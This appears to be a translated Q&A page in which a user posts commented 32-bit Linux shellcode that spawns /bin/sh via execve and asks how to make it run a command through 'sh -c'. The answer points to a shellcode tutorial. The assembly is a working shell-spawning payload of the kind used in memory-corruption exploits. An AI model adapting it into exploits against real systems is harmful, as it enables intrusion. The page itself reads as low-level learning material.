0

私はいくつかの基本的なシェルコードを持っています:

 BITS 32

jmp short       callit            ; jmp trick as explained above

doit:

pop             esi               ; esi now represents the location of our string
xor             eax, eax          ; make eax 0
mov byte        [esi + 7], al     ; terminate /bin/sh 
lea             ebx, [esi]        ; get the adress of /bin/sh and put it in register ebx 
mov long        [esi + 8], ebx    ; put the value of ebx (the address of /bin/sh) in AAAA ([esi +8]) 
mov long        [esi + 12], eax   ; put NULL in BBBB (remember xor eax, eax) 
mov byte        al, 0x0b          ; Execution time! we use syscall 0x0b which represents execve
mov             ebx, esi          ; argument one... ratatata /bin/sh
lea             ecx, [esi + 8]    ; argument two... ratatata our pointer to /bin/sh
lea             edx, [esi + 12]   ; argument three... ratataa our pointer to NULL
int             0x80

callit:
call            doit              ; part of the jmp trick to get the location of db

db              '/bin/sh#AAAABBBB'

しかし、シェルの引数としていくつかのコマンドを追加したいとしましょう。たとえば、新しいファイルを作成するには、 /bin/sh -c 'touch "filepath" のようにしますが、これを行うためにシェルコードを変更する方法にちょっと行き詰まっています。

ありがとう、セバ

4

1 に答える 1

1

これはチュートリアルhttp://www.safemode.org/files/zillion/shellcode/doc/Writing_shellcode.htmlから来ています。あなたが求めている質問はセクションで説明されていますThe execve example number III (2 > arguments, linux):

于 2011-12-13T10:11:04.690 に答える